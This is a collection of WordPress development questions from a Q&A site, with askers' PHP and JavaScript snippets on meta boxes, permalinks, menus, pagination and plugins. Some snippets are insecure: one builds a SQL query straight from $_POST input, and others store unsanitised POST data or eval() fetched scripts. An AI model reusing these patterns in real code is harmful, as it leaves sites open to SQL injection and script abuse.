title: Show value of select dropdown in meta box

text: I have created a meta box which has a select dropdown list and i want to show it in the post as a user selects a particular option from meta box.I cant figure it out how its done.Here is my meta box code.               <?php     function display_post_options(){         global $post;         wp_nonce_field( basename( __FILE__ ), 'post_options_nonce' );          $post_options_select_value =  get_post_meta($post->ID,'post_options_select',true);          ?>                        <label for="options-select">Choose Your Post Layout:</label>         <select name='post_options_select' id="options-select">             <option id='right-sidebar' value='right' name='right_sidebar' <?php selected($post_options_select_value, 'right'); ?> >Right sidebar</option>             <option id='left-sidebar' value="left" name='left_sidebar' <?php selected($post_options_select_value, 'left'); ?>>Left Sidebar</option>             <option id='no-sidebar' value="no" name='no_sidebar' <?php selected($post_options_select_value, 'no'); ?>>No Sidebar</option>         </select>               <?php     }          function post_options(){         add_meta_box(              'post-options',             'Post Options',             'display_post_options',             'post',             'advanced',             'high',             $callback_args         );     }          function save_post_options($post_id){              if (if_user_can_save($post_id, 'post_options_nonce')) {             update_post_meta($post_id, 'post_options_select', $_POST['post_options_select']);         }          }          function if_user_can_save($post_id, $nonce){              //Check if post is autosave         $is_autosave = wp_is_post_autosave($post_id);         //Check if it is a Revision         $is_revision = wp_is_post_revision($post_id);         //Is the nonce valid         $is_valid_nonce = ( isset( $_POST[ $nonce ] ) && wp_verify_nonce( $_POST[ $nonce ], basename( __FILE__ ) ) );         return !($is_autosave || $is_revision) && $is_valid_nonce;          }          function display_content( $content ){         $test = get_post_meta(get_the_ID(), 'options-select', true);         $content .= $test;         print_r($test);         return $content;     }          add_action('add_meta_boxes', 'post_options');     add_action( 'save_post', 'save_post_options', 10, 2 );     add_action('the_content', 'display_content');     ?>


title: URL / Templating system advice

text: I am trying to set up my blog so that the following URL pattern:               http://myblog.com/category/somecategory/      Will use the template file category.php I have created the template, however, when I access the URL, I just get the template front-page.php (I'm not being redirected - the URL in the address bar is still http://myblog.com/category/somecategory/) The links to the category pages are being auto-generated by the Categories widget and each category has at least one post in it. Can anyone help? Thanks


title: Custom Facebook share button with custom title,url,image in wordpress

text: I know there may be many such question in stackoverflow . but i am not getting solution what i want i am using wordpress. In my all post page there is share button ( **via addthis plugin** ) but what happening is when i click to share on Facebook ( **via addthis plugin** ) its taking all thing perfect i means url,title but images is taken something else. demo url. So i tried to made custom share button which is below the addthis plugin : Thats : **Custom Share on Facebook page!** but when i click on it nothing happens also my title and link is shown on website : below is code of my custom Facebook share :                 <?php         $title = the_title();         $url= the_permalink();         $summary=urlencode('Custom message that summarizes what your tab is about,  or just a simple message to tell people to check out your tab.');         $image= wp_get_attachment_image_src( get_post_thumbnail_id( $post->ID ),  'single-post-thumbnail' );       ?>         <a onClick="window.open('http://www.facebook.com/sharer.php?s=100&p[title]=<?php echo $title;?>&p[summary]=<?php echo $summary;?>&p[url]=<?php echo $url; ?>&&p[images][0]=<?php echo $image[0];?>', 'sharer', 'toolbar=0,status=0,width=548,height=325');" target="_parent" href="javascript: void(0)">             Custom Share on Facebook page!         </a>      I have also putted OpenGrap tag in my wordpress header.php between head line               <?php $image = wp_get_attachment_image_src( get_post_thumbnail_id( $post->ID ), 'single-post-thumbnail' ); ?>     <meta property="og:title" content="<?php the_title(); ?>" />      <meta property="og:description" content="" />       <meta property="og:image" content="<?php echo $image[0]; ?>" />      <meta property="og:video" content="" />      <meta property="og:video:width" content="560" />       <meta property="og:video:height" content="340" />       <meta property="og:video:type" content="application/x-shockwave-flash" />      please let me know what going wrong and where. i need all my post from my website should be share on Facebook and twitter with it title,images( thats **resp post** image not any other image from website which is happening now ) and its description ) Working reference link **UPDATE NOW :** After long here there i found https://developers.facebook.com/tools/debug/og/object?q=http%3A%2F%2Fwww.thefansworld.com%2Fhappy- new-year-trailer%2F here when i putted my link there is showing my features images but under : `When shared, this is what will be included` you will see something else (images )


title: Custom built theme won't filter categories

text: I'm currently finishing up my first proper wordpress theme for my uni assignment. When I select a category in the sidebar the full list of posts from all categories are still shown. I've tried searching online but can't seem to find how to fix this. The site I'm currently building is http://bluepenguindesigns.co.uk/. Here is the current category.php contents - http://pastebin.com/89jiFB5i


title: has_archive for default post type

text: So I have several CPTs set up but I want to have all my default posts listed under /blog. I was hoping I could somehow enable has_archive for the default post type but I have yet to succeed. Any ideas?               add_action( 'init', 'enhance_post' );          function enhance_post( ) {         global $wp_post_types;              $wp_post_types['post']->has_archive = true;         $wp_post_types['post']->rewrite = array(             'slug' => 'blog',             'with_front' => 0,             'pages' => 1,         );     }      (the above doesn't seem to work)


title: admin-ajax.php (aborted) error when using jQuery.get

text: One thing that really confuse me is the following: When I load a javascript file via Ajax and I watch the http requests thats being made, then I see the following error in Firebug: admin-ajax.php (aborted) Please see this picture: ![enter image description here](http://i.stack.imgur.com/lnWRj.png) It is this jquery get file function that's causing this error:               jQuery.get('/assets/js/shop.js', function(data) { eval(data); });       If I remove the above script, then there is no error anymore. Any suggestions? EDIT1: I already see why it's giving these aborted errors. In the shop.js file there are some calls to the admin-ajax.php:               /* <![CDATA[ */     var wc_cart_fragments_params = {"ajax_url":"\/wp-admin\/admin-ajax.php","fragment_name":"wc_fragments"};     /* ]]> */      Should I place these CDATA in the body of my html or do I need to do something else?


title: adding option-tree list items metaboxes from front end

text: i am using option-tree to add metaboxes to a custom post type and i want to update the list-item metabox from the front end. The list item consists of Name, state, and coountry as repeatable list items.


title: Permalinks Question: Adding a prefix ONLY in front of the posts

text: I want all my posts to have /ARTICLES/%post-name% structure. But as soon as I modify the custom structure to that, for a reason that beats me, wordpress adds the `articles` prefix across the board. So I end up with urls like this for my category pages with something like the following `mysite.com/articles/category/videos` here the videos is a category and since I did not change the category to anything else, I was expecting the urls to be well, mysite.com/category/videos ), not mysite.com/articles/category/whatever Obviously, such a URL does not make sense. On the `permalinks` screen, under the `Common Settings`'s `Post name` option, I get a grayed out ( uneditable ) sample link that shows something like `mysite.com/sample-post`. I wished I could have edit that grayed out info to `mysite.com/articles/sample-post` while keeping the other options as is. But this does not seem to be possible. Am I at a dead-end here? Is there a way to only change the post urls without effecting the other urls?


title: Show Heirachy of categories in WP Download Monitor

text: I have the Download Monitor Plugin installed and it works beautifully, I just have a question regarding the categories. I have a parent category, Issue 0, which will have anywhere from 3-6 sub categories in it. Instead of the section on the front page looking like below, where it just lists every download in the parent category regardless of sub categories, ![categories](http://i.stack.imgur.com/Pu5Bi.png) How could I make it resemble the structure below, which actually uses the categories, where clicking on the sub category takes you to all of its downloads: Issue 0 (7) >>   * News   * Diabetes   * Worldview   * interviews ( These needs to remain as links, like above) Below is the code for the download_page shortcode, is there a way to incorporate the sub categories into this function?               function wp_dlmp_shortcode_download_page( $atts ) {              extract(shortcode_atts(array(             'base_heading_level' => '3',             'pop_count' => '4',             'pop_cat_count' => '4',             'show_uncategorized' => '1',             'per_page' => '20',             'format' => '',             'exclude' => '',             'exclude_cat' => '',             'show_tags' => '0',             'default_order' => 'title',             'front_order' => 'hits'         ), $atts));              $output = wp_dlmp_output($base_heading_level, $pop_count, $pop_cat_count, $show_uncategorized, $per_page, $format, $exclude, $exclude_cat, $show_tags, $default_order, $front_order);         return $output;          }     add_shortcode('download_page', 'wp_dlmp_shortcode_download_page');     ?>


title: How to limit the characters shown on the page - get_content

text: I've the below php to display the content of the post id#9 on my 'home page' of my site, so that whenever the client updates the page, it's reflected on the homepage as well - rather than having to make the change twice. **At the moment all the post content is being shown, I need to strip it down to about 100 words...** Any ideas?               <?php         $id = 9;         $post = get_page($id);         $content = apply_filters('the_content', $post->post_content);         echo $content;     ?>


title: If in parent category

text:
I have this structure Category > Subcategory > Post I´m trying to display some content if the user it´s on a specific category, or in it´s subcategory or post. I´m using this code but it only works if the user is in the category.php, not if the user it´s on a single.php that belongs to the that parent category:                   <?php if(is_category('catering')){?>
                 <img src="<?php bloginfo('template_directory') ?>/images/canal.png" />

texto

         <?php    }  ?>      I tried with if(in_category) but it still didn´t show anything on single.php. Any ideas?


title: Woo Commerce Variations

text: I've got what would appear to be a simple site setup. I've got an item: The ABC Cell Phone (available in TWO COLORS) add a charger for $5.00 add a case for $5.00 add a screen protector for $5.00 add (well, you get the idea, add some accessories) When I do this in variations I have to calculate the math for all of those products and variations by hand, is there a simple way to do this? Previously, with other carts, I was able to just add an item and checkbox and it would calculate with the order. I've paid out $$$$ for extensions that don't seem to cut it. The import/export suite would require some kind of spreadsheet magic I can't put my mind around to update all of the variations for my import file with a simple price change of ONE item. ## This variation scheme doesn't make much sense to me... Seems like a ton of manual updating for something that should be pretty simple. I've also got another little thing I'm trying to figure out. We do embroidery for $5.00 a line. Max 2 lines. So, is there an easy way to have the customer enter their info in a TXT Box that sizes to the embroidery standard sizes? 12 characters for large letters 15 characters for medium letters 20 characters for small letters You'd think that would be just a simple plugin? Any hints? Anyone?


title: Conditional menu for registerd users/guests (Genesis framework)

text: I'm running Genesis Framework on WordPress and I have to display a different top menu for logged in users and a different one for unregistered users (guests). I created the 2 menus in the WP backend > Appearance > Menus:   * `top-menu1` for `guests`   * `top-menu2` for `registered users` Normally I'd have to just use this:               if( !is_user_logged_in() ){         wp_nav_menu( array( 'primary' => 'top-menu1' ) );     } else {         wp_nav_menu( array( 'primary' => 'top-menu2' ) );     }      Since this is Genesis though, I'd like you to point me to:   * what's the equivalent of the `wp_nav_menu` function?   * how do I register the 2 menus?   * what files do I have to modify?


title: Generating wordpress menu - cant understand the config

text:
I created html template based on bootstrap css and am trying to create wordpress theme from it now. Created my own menu function for it, which basically just sets default config for wp_nav_menu function: functions.php               <?php          function pin_menu(){              $defaults = array(             'theme_location'  => 'primary',             'menu'            => 'nav-menu',             'container'       => false,             'container_class' => '',             'container_id'    => '',             'menu_class'      => 'nav-collapse collapse pull-right',             'menu_id'         => '',             'echo'            => true,             'fallback_cb'     => 'wp_page_menu',             'before'          => '',             'after'           => '',             'link_before'     => '',             'link_after'      => '',             'items_wrap'      => false,             'depth'           => 1,             'walker'          => ''         );              return wp_nav_menu( $defaults );     }     ?>      All this prints out this html:

page5

page5

page15

page17

page19

      I cant understand why though. If i read the codex: http://codex.wordpress.org/Function_Reference/wp_nav_menu Then i have set container to false... yet the code prints out div with the classes i have put for menu_class. It wraps links with ul, even though i have set items_wrap to false. This is not what i want though. I actually like this printout but i really cant understand it. And i also would like this ul, that wraps menu items to have certain class.. But when i set items_wrap to `<ul class="nav">%3$s</ul>` then nothing changes... What would be correct config if i want this:

page5

page5

page15

page17

page19

      Thanks Alan Edit: Codex also says, that if you want to remove ul wrapping you need to do something like :               <?php wp_nav_menu( array( 'items_wrap' => '%3$s' ) ); ?>      Sorry, but setting items_wrap does not change anything as far as i can see. Edit2: OK, it seems to be matter of adding too many stats i guess. If i do exactly this:               <?php wp_nav_menu( array( 'items_wrap' => '%3$s' ) ); ?>      Then it works, but other stuff is not how i want. So i guess, i have to set minimal amount of settings, which works. Edit3: Apparently different settings conflict themselves somewhere... I got what i wanted when i changed my settings to this:               <?php          function pin_menu(){              $settings = array(             'container'       => 'div',             'container_class' => 'nav-collapse collapse pull-right',             'container_id'    => '',             'menu_class'      => '',             'menu_id'         => '',             'echo'            => true,             'fallback_cb'     => 'wp_page_menu',             'before'          => '',             'after'           => '',             'link_before'     => '',             'link_after'      => '',             'items_wrap'      => '
%3$s
',             'depth'           => 1,             'walker'          => ''         );              return wp_nav_menu( $settings );     }     ?>


title: Exclude Posts From Specific Category from Next and Previous post links

text: I've been searching for this a lot...but all I get is not what I need. I simply want to show next and previous links on single.php (from all the categories, based on publish date, not just in the same category), but skipping a category. So if the next (or previous) post would be in category id 402, skip the post and get the next (or previous) one. this simple code `<?php next_post_link(); ?>` works very well, but I just need it to skip the posts that are in category 402 I also do not want to use the title of the posts, just the links added to "Next" and "Previous" as the link anchor thank you


title: How to redirect visitor to a custom URL using PHP code in functions.php

text: The users have to be redirected to a custom URL which I already know (its part of the programming logic). I just need to know which WP function to use/ what php code to use to redirect the user to the new URL. This code will be executed within a php function in functions.php--> that function will first do some processing, and then send the user to the new URL How do I do the above? Note-- I tried using wp_redirect but it does not work. This is the code I tried to use (that did not work)--                      $redirecturl = get_post_type_archive_link('property');            echo "\n\n Redirect URL for property posts=" + $redirecturl;            wp_redirect( "http://" .  $redirecturl + "?post_type=property&search_keyword=" + $search_keyword ;


title: Pagination posts. Url format

text: i'm using pagination for very long posts. So i have a problem here. I'm not happy with standard utl structure (where is couple personal reasons for that in my project). For example, i have post               /post.htm      and i need to get second page of it with               /post2.htm      not               /post.htm/2      I'm sure that i won't create post/page with slug post2 How can i change standard url in a such way? I tried this               add_action( 'init', 'wpa5413_init' );     function wpa5413_init()     {         add_rewrite_rule('^([^/]+)([0-9]{1,2}).htm$','$matches[1].htm/$matches[2]','top');     }      But it doesn't work...


title: How do I limit the number of forms a user can create in gravity forms?

text: I've been looking at Gravity Forms, and whilst it's a great plugin, it's missing some features. I really want the ability to limit how many forms can be created by a role: Administrator - Unlimited   Editor - 50   Author - 25   Subscriber - 0 I've looked at countless plugins and scoured the Internet, I've found one plugin that limits posts very well, so if it is possible to manipulate the plugin to achieve this goal, that would be great. Dave P.s. The plugin I've been looking at is: "Bainternet Posts Creation Limits"


title: How to link to specific part of a page in wordpress permalinks

text: I have a one page template(muse theme) which its main menu items link to a specific part of the page in the webpage itself. I want to add `#` character before post name to go to the specific part of the page just like **wikipedia**. How can I do that in permalinks? It doesn't allow `#` character.


title: Custom Taxonomy Showing in WP Menu

text: I have 3 taxonomies bundled with my custom post type. I have noticed my custom post type(cpt) and 2 taxonomies won't show in the Wordpress menu system but 1 taxonomy will. Can anyone point me in the right direction to get the one taxonomy to not be on the menu but get the cpt to show in the menu with a link just to the post type page? Here is my code. From what I can see, all the taxonomies seem the same to me except for the obvious differences to make them different.               <?php     /////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////     // Register Custom Post Type for Sermons     function ssum_sermon_cpt_init() {              $labels = array(             'name'                => _x( 'Sermons', 'Post Type General Name' ),             'singular_name'       => _x( 'Sermon', 'Post Type Singular Name' ),             'menu_name'           => __( 'Sermons' ),             'parent_item_colon'   => __( 'Parent Sermon' ),             'all_items'           => __( 'All Sermons' ),             'view_item'           => __( 'View Sermon' ),             'add_new_item'        => __( 'Add New Sermon' ),             'add_new'             => __( 'New Sermon', 'sermons' ),             'edit_item'           => __( 'Edit Sermon' ),             'update_item'         => __( 'Update Sermon' ),             'search_items'        => __( 'Search sermons' ),             'not_found'           => __( 'No sermons found' ),             'not_found_in_trash'  => __( 'No sermons found in Trash' ),         );         $args = array(             'label'               => __( 'sermons' ),             'description'         => __( 'Displays sermon information' ),             'labels'              => $labels,             'supports'            => array( 'title', 'editor' ),             'taxonomies'          => array( 'speaker', 'service', 'year' ),             'hierarchical'        => false,             'public'              => true,             'show_ui'             => true,             'show_in_menu'        => true,             'show_in_admin_bar'   => true,             'show_in_nav_menus'   => false,             'query_var'           => true,             'menu_position'       => 25,             'menu_icon'           => 'dashicons-format-audio',             'can_export'          => true,             'has_archive'         => true,             'exclude_from_search' => false,             'publicly_queryable'  => true,             'rewrite'             => array(                 'slug' => 'sermons',                 'with_front' => false             ),         );         register_post_type( 'sermons', $args );     }          // Hook into the 'init' action     add_action( 'init', 'ssum_sermon_cpt_init', 0 );               /////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////     // Register Custom Taxonomy for Service Times     function ssum_service_ct_init() {              $labels = array(             'name'                       => _x( 'Services', 'Taxonomy General Name' ),             'singular_name'              => _x( 'Service', 'Taxonomy Singular Name' ),             'menu_name'                  => __( 'Service' ),             'all_items'                  => __( 'All Services' ),             'new_item_name'              => __( 'New Service Name' ),             'add_new_item'               => __( 'Add New Service' ),             'edit_item'                  => __( 'Edit Service' ),             'update_item'                => __( 'Update Service' ),             'separate_items_with_commas' => __( 'Separate services with commas' ),             'search_items'               => __( 'Search services' ),             'add_or_remove_items'        => __( 'Add or remove services' ),             'choose_from_most_used'      => __( 'Choose from the most used services' ),         );         $args = array(             'labels'                     => $labels,             'hierarchical'               => false,             'public'                     => true,             'show_ui'                    => true,             'show_admin_column'          => true,             'show_in_nav_menus'          => true,             'show_tagcloud'              => true,             'query_var'                  => 'service',         );         register_taxonomy( 'service', 'sermons', $args );          }          // Hook into the 'init' action     add_action( 'init', 'ssum_service_ct_init', 0 );          /////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////     // Register Custom Taxonomy for Speakers     function ssum_speaker_ct_init() {              $labels = array(             'name'                       => _x( 'Speakers', 'Taxonomy General Name' ),             'singular_name'              => _x( 'Speaker', 'Taxonomy Singular Name' ),             'menu_name'                  => __( 'Speaker' ),             'all_items'                  => __( 'All Speakers' ),             'new_item_name'              => __( 'New Speaker Name' ),             'add_new_item'               => __( 'Add New Speaker' ),             'edit_item'                  => __( 'Edit Speaker' ),             'update_item'                => __( 'Update Speaker' ),             'separate_items_with_commas' => __( 'Separate speakers with commas' ),             'search_items'               => __( 'Search speakers' ),             'add_or_remove_items'        => __( 'Add or remove speakers' ),             'choose_from_most_used'      => __( 'Choose from the most used speakers' ),         );         $args = array(             'labels'                     => $labels,             'hierarchical'               => false,             'public'                     => true,             'show_ui'                    => true,             'show_admin_column'          => true,             'show_in_nav_menus'          => true,             'show_tagcloud'              => true,             'query_var'                  => 'speaker',         );         register_taxonomy( 'speaker', 'sermons', $args );          }          // Hook into the 'init' action     add_action( 'init', 'ssum_speaker_ct_init', 0 );          /////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////     // Register Custom Taxonomy     function ssum_year_ct_init() {              $labels = array(             'name'                       => 'Years',             'singular_name'              => 'Year',             'menu_name'                  => 'Years',             'all_items'                  => 'All Years',             'new_item_name'              => 'New Sermon Year',             'add_new_item'               => 'Add New Year',             'edit_item'                  => 'Edit Year',             'update_item'                => 'Update Year',             'separate_items_with_commas' => 'Separate years with commas',             'search_items'               => 'Search Years',             'add_or_remove_items'        => 'Add or remove years',             'choose_from_most_used'      => 'Choose from the most used years',             'not_found'                  => 'Year Not Found',         );         $args = array(             'labels'                     => $labels,             'hierarchical'               => false,             'public'                     => true,             'show_ui'                    => true,             'show_admin_column'          => true,             'show_in_nav_menus'          => true,             'show_tagcloud'              => true,             'query_var'                  => 'year',         );         register_taxonomy( 'year', 'sermons', $args );          }          // Hook into the 'init' action     add_action( 'init', 'ssum_year_ct_init', 0 );      The Year taxonomy is the one that shows up in the menu system. I want to get it out of the menu like the others but add the cpt link to the menu. In this case that would be 'example.com/sermons'


title: Register and Connect links: where are they located?

text: A trivial question which eludes me: I want to modify the logic behind showing the Register and Connect link, which appear at the top right hand side on my homepage. In which php source file are they located? They are NOT modified by my theme. Thank you.


title: Adding a class to tag list in a function

text:
How can I add a class to the function so I can style the output tags as boxes in css?               <?php         if(get_the_tag_list()) {             echo get_the_tag_list('

','

','

');         }     ?>


title: Holding 2 wp_user in the same action (to update billing_email when user_email is updated)

text: iam trying to update woocommerce billing_email when user_email is updated , the problem is how to hold two objects from wp_user within the same action , in this code               add_action('profile_update', 'sync_woocommerce_email', 10, 2) ;          function sync_woocommerce_email( $user_id, $old_user_data ) {     $current_user = wp_get_current_user();              echo $current_user->user_email;         echo $old_user_data->user_email."   ";          if ($current_user->user_email != $old_user_data->user_email) {         wp_update_user( array ( 'ID' => $current_user->ID, 'billing_email' => $current_user->user_email ) ) ;       }     }      when i do this two echo i found the same email twice , but when i remove                $current_user = wp_get_current_user();      > $old_user_data echo the old email , which means that current_user object override the $old_user_data object , how to solve this ?


title: Custom Post Type Template Alternative

text: I've managed to figure out how to use Custom Post Type templates now and they are great. I do however want to know if there is not a way to use a current template I have developed for other pages. What I have is a page-three-column.php file using conditional checks to see which page it is on and then displaying the relevant content as it needs to. Rather than copy this html over to the single-product.php template, I want to be able to use the page-three-column.php again as it has all the structure already in place and I wont need to duplicate html and compare it. Is there a way to "force" wordpress to use a specific template rather than the Custom Post Type template? I've read through the Codex to see if there is a conditional check one could use and thought that is_single( 'product' ) might work. Clearly the custom post type template was built to display the content as it is intended but if there is another way, I would appreciate the help? Many thanks.


title: Removing top-level pages from URL

text: The pages (not posts) on my site follow a hierarchical structure, where top- level pages have no content and are only used to group the lower-level pages in _categories_. That way, the page _us_ has no content, but the pages _one by one_ , _history_ and _offices_ are assigned to it so I can handle them as a group. That's fine, and working as intended, but now I want to remove the top level pages from the URL, and I can't seem to find a way. The change would be:               http://www.example.com/top-level-page/lower-level-page      to               http://www.example.com/lower-level-page      Is there any way to do this without losing the hierarchical structure I've set up?


title: I want to select the from values from database in WordPress?

text: Here is my code:               $sql = 'SELECT * FROM ' . $wpdb->base_prefix . 'item WHERE uname = "'. $_POST['login_name'] . '" ';     $result = $wpdb->get_results($sql) or die(mysql_error());     foreach($result as $results) {         $results->salt;         $results->password;       }     echo $sal->$results[0];     echo $pwd->$results[1];


title: How to make child categories recognize parent's template displays

text: I'm using the Default Post Type `post` for various purposes. To sort them I'm using different categories. And I'm designing different category layout using the slug preference, like: `category-book.php`, `category-notice.php` etc., and everything was just fine. But just a moment ago found that, any subcategory of the parent category 'book' is redirecting to `index.php` (or `archive.php`, or `category.php`) because they are not recognizing their parent's category template (`category- book.php`), because their slug is different. How can I make the child categories recognize their parent's template design?   Do I have to make a custom template using a `WP_Query()` for that?


title: wordpress can't upload plugin

text: I can not upload the plugin through the admin or cpanel. I am trying to work in localhost. I am getting the following error > Unpacking the package… > > Could not copy file. contact-form-7/settings.php


title: redirect wp-login.php to another page

text: I would like to redirect this page `wp-login.php` to `/login` page. So when a user clicks on a link like this `<a href="/wp-login.php">login</a>`, wordpress will redirect him to `/register` . I found this function and modified it :               add_action('init','custom_login');          function custom_login(){      global $pagenow;      if (( 'wp-login.php' == $pagenow ) && (!is_user_logged_in())) {       wp_redirect('/login');       exit();      }      I am not good with wordpress coding. The redirection works fine, but the authentication seems to be broken. When I enter my login/pass, the same page (`/login`) reloads without being authenticated. Any suggestion to fix the function for redirection ?


title: Undoing define( 'UPLOADS', ''.'files' ); to repoint to "wp-content/uploads" folder

text: Is it possible that by setting the “wp-content/uploads” to use a different folder by using `define( 'UPLOADS', ''.'files' );` I have effectively changed all the paths on a permanent basis and if that is the case, how do I undo this so that it points back to “wp-content/uploads”? I thought that just by commenting out the `define( 'UPLOADS', ''.'files' );` line out I will sort out a problem I am having where a file I am uploading to WP does not want to download because the URL is not the right path to the file.


title: help in applying pagination retrieve the data from database

text: I'm following the tutorial here http://wpengineer.com/2426/ on how to apply pagination in wordpress. Now he said "As pointed out in the comment the array_slice is only necessary because we use sample data. If you're retrieving the data from a database you only need to load the necessary data by using SQL's LIMIT." Here is the `prepare_items()` function               function prepare_items() {             global $wpdb;             // I tried using LIMIT here but seems Im doing it wrong             $row = $wpdb->get_results("SELECT business_name, contact_name, mobile, email FROM wp_registration", ARRAY_A);                  // Pagination             $per_page = 5;             $current_page = $this->get_pagenum();             $total_items = count($row);             // Only necessary             $this->found_data = array_slice($row, (($current_page - 1) * $per_page), $per_page);             $this->set_pagination_args( array(                         'total_items' => $total_items,                         'per_page' => $per_page)                         );             $this->items = $this->found_data;                  $columns = $this->get_columns();             $hidden = array();             $sortable = $this->get_sortable_columns();             $this->_column_headers = array($columns, $hidden, $sortable);             usort( $row, array( &$this, 'usort_reorder') );             $this->items = $row;         }      My problem is where should I put the LIMIT in the function? I putting it in the query directly but only shows the rows if I specify the LIMIT Can you please help me and point out where did I go wrong? Any help would be much appreciated. Thanks!


title: Get mixed category random posts

text: I have 3 categories: A, B, C. A is having around 1000 posts, B has around 300 posts and C has 50 posts. When I query for 5 posts, ordered randomly. I get mostly posts from A category. How can get mixed category random posts like 3 from A, 1 from B and 1 from C?


title: do code if current url = value

text: The Google Content Experiments installation is not working for me. I add the code in the header, but nothing is output. So, I've added the Google Analytics experiment code manually into the header. The only problem is the theme is shared between network sites. So I want to only insert the code into the header on the condition that the current URL = {value}. I know I can use conditional tags, but if I use is_page, this might fire accidently on another network site. How do I do this?


title: Hide permalink and preview button and link on custom post

text: anyone know how to custom box that contain "`Publish,save draft,and preview button`" ? i'll hide all button except Publish button. and same as "`change permalink`" also "`view,delete,edit`" link inside post how to hide the permalink and view link ? here the illustration what i talking about. > Customizing Publish Button From Original Wordpress ![enter image description here](http://i.stack.imgur.com/ynXmz.jpg) ![enter image description here](http://i.stack.imgur.com/qAuwQ.jpg) > Customizing post link from original wordpress ![enter image description here](http://i.stack.imgur.com/FHs8G.jpg) ![enter image description here](http://i.stack.imgur.com/LegKb.jpg) > delete permalink under wordpress post title ![enter image description here](http://i.stack.imgur.com/T2fqi.jpg)


title: Properly display posts on homepage

text:
I'm having trouble displaying posts from a single category on the homepage the way I want them to appear. The theme I'm using uses a 3 column layout for the homepage and a content-sidebar layout for the blog page. Basically I want the homepage to display exactly like the blog page, but include the slider. So what I did was just copy the code from `category.php` and pasted it into a new custom page template titled `hompage.php` and set that as my homepage. But for some reason its not displaying any posts and I have no idea why. category.php               <?php     /**      * The template for displaying Category pages.      *      */     $settings = get_option( "ntl_theme_settings" );     get_header(); ?>

                             <?php if ($settings['ntl_disable_audio'] != 'off'){     ?>

<?php single_cat_title(); ?>

                                          <?php echo lets_get_albumselector(); ?>                                                                             <?php echo lets_get_musicplayer(); ?>
                                                      <?php } else { ?>

<?php single_cat_title(); ?>

                                  <?php } ?>                                  <?php if (!$settings['ntl_show_timer']) { ?>
                                      <?php echo get_for_timer(''); ?>                             <?php } else { ?>
                             <?php } ?>
             <?php if ($settings['ntl_disable_audio'] != 'off'){     ?>

             <?php } ?>

                                                     <?php get_template_part( 'loop', 'category' ); ?>                                                                                <?php adminace_paging(); ?>

                                     <?php get_sidebar(); ?>

     <?php lets_make_carousel(); ?>               <?php get_footer(); ?>      loop.php               <?php     /**      * The loop that displays posts.      *      */          ?>          <?php /* If there are no posts to display */ ?>     <?php if ( ! have_posts() ) : ?>

<?php _e( 'Not Found', 'localize' ); ?>

<?php _e( 'Apologies, but no results were found for the requested archive. Perhaps searching will help find a related post.', 'localize' ); ?>
                             <?php get_search_form(); ?>

     <?php endif; ?>          <?php             /* Start the Loop.              *              *              * Without further ado, the loop:              */ ?>     <?php while ( have_posts() ) : the_post(); ?>                               <div id="post-<?php the_ID(); ?>" <?php post_class(); ?>>                                  <?php if ( !is_search() ) { ?>
<?php the_title(); ?>

                                     <?php ntl_posted_on(); ?><a href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' )); ?>"><?php echo get_the_author(); ?>
                             <?php                             $pphoto = '';                             $pphoto = get_the_post_thumbnail($post->ID, 'imlink');                             if ($pphoto) {                             ?>
                                     <?php the_excerpt(); ?>

                                     <?php the_post_thumbnail('imlink'); ?>                                     <a href="<?php the_permalink(); ?>">

                             <?php the_time('j') ?>                             <?php the_time('M') ?>

                             <?php } else { ?>                             <?php the_excerpt(); ?>                             <?php } ?>                                  <?php } else { ?>

<?php the_title(); ?>
                             <?php the_excerpt(); ?>                             <a href="<?php the_permalink(); ?>">Read More
                             <?php } ?>
                          <?php comments_template( '', true ); ?>          <?php endwhile; ?>      Any suggestions would be much appreciated!


title: how to remove scripts loaded in the footer

text: Is it possible to remove scripts that are loaded in the footer in wordpress? I currently have the code that works for scripts but only for the one's that are added in the header via `wp_enqueue_script`. What it does is using `preg_replace` to match all the excluded scripts then replacing it with an empty string.               add_action('wp_head', array($this, 'plug_remove_scripts_start'), 0);     add_action('wp_footer', array($this, 'plug_remove_scripts_end'), 0);          public function plug_remove_scripts_start(){       function remove_scripts($buffer){         /*        script for altering the buffer to remove the scripts        */          return $buffer;       }       ob_start("remove_scripts");     }          public function plug_remove_scripts_end(){       ob_end_flush();     }      I already tried to change the `wp_footer` action hook into the following but it doesn't work:   * loop start   * plugins_loaded   * shutdown The script that I'm trying to target is right below the closing `</footer>` tag. I've already considered using `wp_dequeue_script` under the `wp_footer` action. That would also work but I need to support those guys which aren't adding scripts and styles properly and simply pasting something like:               <script src="http://somesite.com/wp-content/js/somescript.js"></script>      Any ideas? If you know any plugin that already does this job (removing scripts that are loaded from a theme, plugin or widget) it would be great as well. Thanks in advance!


**The problem (Excess White Space Above Admin Bar on Frontend Using Twitter Bootstrap):** While logged in and viewing the frontend -- If you shrink your browser down, there is an excess amount of white space which appears ABOVE the admin bar. I've noticed it's fine in full screen, and even ~tablet size. However, when about to shrink to anything smaller than about 600px, that's when the white space appears ABOVE the admin bar. I have tested on my phone, and the white space is there on my phone too. **The Question:** Is this a conflicting issue with WordPress, or is there something I need to do with my Twitter Bootstrap setup? * * * Any advice on eliminating this excess white space above the admin bar while viewing the frontend (using Twitter Bootstrap -- Responsive) on a mobile device would be greatly appreciated.


title: WWW to non WWW redirect effects on load speed

text: I was using pingdom to test the load speed on a site I'm working on and got different results for www vs non www. Wordpress automatically redirects to either www or non www depending on the settings. For the site in question its set to use non www and when tested in pingdom it came back with a 1 second result. Shortly after that I tested the site again with pingdom now with www and it came back as 3 seconds. I contacted my host (hostgator) cause I thought it might have been a weird dns issue and to be honest I'm not super clued up on dns related issues. They told me that the redirect happens while wordpress is already loading so when I go to www it loads wordpress then redirects so it almost has to load the site twice. They suggested I use a standard htaccess redirect at the top of the htacess file. After doing that I tested the site again with both versions and they both seem to load at around 1 second. Now finally after all that my question is why does this happen? At what point does the wordpress default redirect kick in. Should I just by default add the redirect myself to the top of the htaccess file for all sites? Basically just looking to find out more about how wordpress handles that redirect, if someone would perhaps link me to a codex page about it or a blog article that would be amazing.


title: How can I get W3 Total Cache to recognise Amazon ElastiCache?

